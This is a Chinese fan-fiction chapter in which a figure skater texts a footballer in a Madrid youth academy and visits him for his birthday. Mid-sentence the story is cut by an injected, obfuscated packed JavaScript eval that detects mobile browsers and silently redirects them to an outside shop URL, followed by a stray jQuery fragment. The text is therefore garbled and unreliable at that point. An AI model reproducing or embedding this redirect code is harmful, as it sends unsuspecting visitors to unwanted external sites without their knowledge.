洁千穗躺在宾馆的床上，盯着天花板发呆。
柏林的夜晚很安静，窗外偶尔传来电车的轰鸣声，但很快消失在夜色里。
她刚洗完澡，头发还湿着，毛巾搭在脖子上，整个人陷在柔软的床垫里，脑子放空。
今天的比赛……不，今天的“表演赛”，她真的不知道该怎么评价。
说是邀请赛，踢得也确实挺卖力的，但那种卖力和真正比赛的卖力完全不是一回事。更像是——给赞助商看的。给媒体看的。给观众看的。
千穗翻了个身，把脸埋进枕头里。
也就回来的路上碰见米歇尔.凯撒这件事，算是惊喜。
不过她并没有和对方深交的想法、也没那个时间，且白鸦一向告诫她剧情的某些地方存在不可抗力，轻易别尝试更改。
——手机震了一下。
她懒洋洋地伸手去够床头柜，把手机捞过来，眯着眼睛看屏幕。
【Sae：在德国？】
千穗眨了眨眼，脑子还没完全从放空状态切换回来。
【Chiho：嗯，柏林】
【Sae：比赛看完了？】
她愣了一下。
他怎么知道她去看比赛了？
【Chiho：你怎么知道的？】
【Sae：拜塔的邀请赛，你ins发了定位】
千穗：“……”
她翻了个白眼。
这人，明明平时连她的消息都回得慢，居然会去翻她的ins？
【Chiho：看了，感觉像表演赛】
【Sae：本来就是】
千穗盯着那三个字，忽然有点想笑。
行吧。
她开始日常询问近况：
【Chiho：你那边呢？训练怎么样？】
【Sae：还行】
【Chiho：西班牙语学得怎么样了？】
【Sae：还行】
【Chiho：……你能不能换个词？】
每次问这两个问题都是这种回答，跟没答有什么区别。
【Sae：可以】
【Chiho：那你换】
【Sae：一般】
千穗：“……”
她深吸一口气，告诉自己不要和一个社会化程度仅比夜鹰纯高的人计较。
正准备把手机扔到一边，对面又发来一条。
【Sae：你教练呢？】
千穗愣了一下。
教练？
【Chiho：高峰教练离职了，你知道的吧？】
【Sae：知道】
【Chiho：那你还问？】
【Sae：名古屋站，只有助教。德累斯顿站呢？】
千穗盯着这条消息，看了两秒。
这人……是在问她有没有人陪？
她想了想，打字回复：
【Chiho：助教有事没来，现在是雷奥尼多和经纪人在陪我】
【Sae：雷奥尼多？编舞的那个？】
【Chiho：嗯，他和自己国家的选手一起来的，看我这边没人就顺便陪我】
【Sae：哦】
【Chiho：怎么了？】
对面沉默了几秒。
然后——
【Sae：没什么】
【Sae：你们总决赛在巴塞罗那】
【Chiho：嗯，我知道】
【Sae：12月】
【Chiho：嗯，我知道】
【Sae：你这段时间都留在欧洲？】
千穗看着这个问题，忽然明白了什么。
这人拐弯抹角地问了半天，就是想问这个？
【Chiho：嗯，去克罗地亚看比赛，然后和雅科夫他们一起训练，等总决赛】
【Sae：哦】
【Chiho：怎么，你要来给我加油？】
发出去的瞬间她就有点后悔。
这种玩笑是不是开得不太合适？
但对面已经回复了。
【Sae：可以】
千穗愣住。
可以？
什么意思？
【Sae：我就在西班牙】
【Sae：12月份临近圣诞，RE·AL青训放假】
【Sae：有时间】
千穗盯着那三行字，脑子有点转不过来。
他这是……真的打算来看她比赛？
【Chiho：你认真的？】
【Sae：嗯】
【Chiho：总决赛在巴塞罗那，你本来就在西班牙，确实挺方便的……】
【Sae：嗯】
【Chiho：那……行吧，到时候给你留票】
【Sae：嗯】
对话又回到了熟悉的“嗯”循环。
但千穗总觉得哪里怪怪的。
她想了想，又发了一条：
【Chiho：你刚才问那么多，就是想问这个？】
【Sae：什么？】
【Chiho：问我有没有人陪，问我这段时间是不是留在欧洲，问我总决赛在哪——不就是想确认我到时候是不是一个人在巴塞罗那吗？】
千穗打完一长串话，嘴角不自觉地翘起来。
认识这么多年，这人表达关心的方式还是这么别扭。
拐弯抹角问了一堆，最后才说“可以来看比赛”。
而对面沉默了。
沉默了很久。
久到千穗以为他不会回复了。
然后——
【Sae：……】
【Sae：你话真多】
千穗看着那四个字，忽然笑出了声。
这人。
明明被她戳穿了，还要嘴硬。
【Chiho：好好好，我话多】
【Chiho：那你到时候来不来？】
【Sae：来】
【Chiho：好，那我等你】
【Sae：嗯】
千穗以为对话终于结束了，刚开始思考要不要给他发晚安，又一条信息发过来——
【Sae:去克罗地亚看比赛?不训练 ？】
【Chiho：嗯，但不是不训练，雅科夫教练还在联系欧洲的短训营，这几天自己找冰场训练，也算放松】
【Sae:……】
【Sae：时间正好，来马德里】
什么时间正好？来马德里又什么意思？
千穗一头雾水地看了看日期——10月6日。
这时候她突然想起了什么，翻了翻备忘录——糸师冴的生日——10月10日。
然后又往前翻了翻聊天记录——
【Chiho：对了，俄罗斯特产我给你准备了，地址发我，我给你寄过去】
【Sae：不用】
【Sae：你不是还要来欧洲比赛吗】
【Sae：到时候给】
当时她以为他是嫌麻烦——毕竟这人确实怕麻烦。
现在……
“……所以那时候就是在提醒我生日？”千穗喃喃自语。
旁边，世一的消息刚好弹进来：
【小草：姐姐，马上冴哥生日了，你准备送什么呀？】
千穗：“……”
连她弟都记得比她清楚。
【Chiho：还没想好……】
【小草：？？？那我的画你送过去了吗？那是我给冴哥的生日礼物】
千穗：……你当初也没说这事儿啊
【Chiho：我没和他见面】
【小草：？你不是在欧洲吗？不去看他吗？】
【小草：对了，凛说冴哥最近训练挺累的，都没怎么给他们发消息，想拜托你帮忙看一下冴哥的情况】
千穗盯着那两行字，忽然有点心虚。
她确实知道糸师冴最近训练累——他自己没跟任何人说，但她找系统要的数据了。马德里青训的强度比她想象的大，语言关还没完全过去，再加上他这个年纪独自在异国……
【Chiho：知道了，我会去的】
【小草：好！记得带礼物！】
千穗把手机放下，看着窗外德累斯顿的夜景发呆。
去马德里。
她当然想去。
但问题是——
雅科夫教练说放了两天假，后天就要去克罗地亚萨格勒布看比赛，8号到12号的比赛。
克罗地亚萨格勒布飞到西班牙马德里要4个小时。
千穗又翻了翻时间安排，确认中间确实休息一天没有比赛，就是10号，而且女单9号就比完了。
时间上倒是来得及……
她打开机票软件查了查。
萨格勒布→马德里，10号早上有航班。
马德里→萨格勒布，11号早上也有航班。
完美。
最近在白鸦的指导下她爸爸股票赚了不少，因为不能陪在她身边给她的零花钱也很多，这种时间极限的机票也不算什么。
……唯一的问题是她不知道糸师冴具体在哪个训练基地（大概率是拉法布里卡），也不知道他那天有没有训练。
【Chiho：你最近都在训练吗？封闭式吗？】
对面秒回：
【Sae：最近开放了】
【Chiho：几点结束？】
【Sae：五点】
千穗算了算时间——她10号上午十一点能到马德里，从机场到他训练的地方大概一个小时。
也就是说，她有四五个小时可以晃悠。
【Chiho：那我下午到】她没说几号，但冴这家伙肯定知道她的意思。
【Sae：哦】
【Sae：几点？】
【Chiho：大概十二点落地，到你那边一点多吧】
【Sae：嗯】
【Sae：到了发消息】
这次，千穗盯着那个熟悉的“嗯”，弯了弯眼。
这人。
明明就是想让她去，偏要说得这么别扭。
.
第二天早上，千穗是被手机震醒的。
她眯着眼睛摸过来，看见屏幕上跳出一条新消息。
【Sae：起床没？】
千穗看了眼时间——早上八
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326688|199124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点。
这人，怎么突然开始关心她的作息了？
【Chiho：刚醒】
【Sae：哦】
【Chiho：怎么了？】
【Sae：没什么】
【Sae：今天去克罗地亚？】
【Chiho：嗯，下午的飞机】
【Sae：注意安全】
千穗盯着那四个字，愣了愣。
注意安全？
【Chiho：……你今天怎么这么会说话？】虽然她觉得已经很安全了。
【Sae：？】
【Chiho：没什么，谢谢】
【Sae：哦】
她把手机放下，盯着天花板发了会儿呆。
然后忽然想起什么，又拿起手机，点开糸师冴的对话框，往上翻聊天记录。
从昨晚到现在——
问她教练，问她比赛，问她是不是留在欧洲，问她总决赛在哪，让她注意安全，让她到了发消息。
……
她以前怎么没发现，这人其实挺会关心的？
只是关心的方式，得靠猜。
千穗把手机放下，起身去洗漱。
镜子里的自己头发乱糟糟的，但眼睛亮亮的，嘴角弯着。
她看着镜子里的自己，忽然想起昨晚糸师冴说的那句“可以”。
可以来看她比赛。
不知道为什么，想到这件事，心情就很好。
.
等到10号早上，跟雅科夫他们说过后，千穗拖着一个小行李箱，和经纪人一起踏上了去马德里的航班。
飞机上她补了一觉，醒来时窗外的云层已经变成了伊比利亚半岛的丘陵地貌。
落地的时候是当地时间十二点零五分。
她打开手机，发现糸师冴半小时前发了一条消息：
【Sae：到了？】
千穗一边往出口走一边回复：
【Chiho：刚落地，准备去拿行李】
【Chiho：你现在是午休时间？可以拿手机？】
【Sae：嗯】
【Sae：基地地址发你了】
千穗点开那条消息，是一个定位，确实是拉法布里卡，属于大众知晓的青训基地。
她看了眼地址，又看了眼地图——从机场过去大概一个小时，坐地铁加步行。
【Chiho：收到】
【Sae：路上小心】
千穗盯着那四个字看了两秒。
路上小心。
这家伙到底怎么回事？感觉越来越会说话了。
.
马德里的地铁比东京的旧，但胜在干净。
千穗和经纪人北野宁宁拖着行李箱在地铁站里穿梭，偶尔被路人多看一眼——一大一小的亚裔女性，戴着口罩，拖着行李箱，在异国的地铁里穿行。
她不在意，安全这方面，白鸦会给其他人下心理暗示的。
她只是在想，糸师冴这一年过得怎么样。
作为亚洲人、在世界第一足球俱乐部[RE·AL]的青训营，会遭受什么其实是可想而知的。
歧视、排挤、打压、沟通难题……
他没抱怨过。
但“没抱怨”不等于“一切都好”。
她了解他。
更何况千穗自己今年也长期在国外。
不是俄美加“高贵国籍”的她要不是因为过于断层，可不一定能夺冠。
在莫斯科和其他国家的人一起训练时，虽然雅科夫他们是好人，但总有一些戴有色眼镜看人的家伙。
再就是同期参赛选手的妒火，甚至同一国家参赛选手也和她关系不亲近。
.
从地铁站出来，洁千穗先和经纪人一起找了个旅馆暂住，办完登记又睡了一会儿休息。
等醒来后，千穗整理好行李，拿着礼物，步行十分钟就到了RE·AL的训练基地。
白色建筑在临近黄昏的阳光下依旧闪闪发光，门口有保安，墙建得挺高的，但仍然能隐约听见里面运动员的呐喊声。
千穗找了个阴凉的地方坐下，给糸师冴发消息：
【Chiho：到了，在门口】
【Sae：等我】
然后她就开始等。
等了大概十分钟，训练场的方向传来一阵近乎喧哗的声音——大概是训练结束了。
又过了五分钟，门口出现了一个熟悉的身影。
小豆色的头发在西班牙的阳光下比在日本时浅了一点，个子好像又高了一点，穿着训练服，肩上搭着毛巾，手里拿着瓶水。
他朝门口走来，脚步不快不慢。
千穗站起来，朝他挥了挥手。
糸师冴走近，在她面前站定。
“……来了。”
语气平淡得像在说今天天气不错。
千穗上下打量他一眼——黑眼圈有点重，下巴的线条比之前更分明了，整个人看起来瘦了一点。
“瘦了。”她说。
糸师冴顿了一下，没说话。
千穗于是拿起藏在脚边的袋子，塞到他怀里：
“——生日快乐。”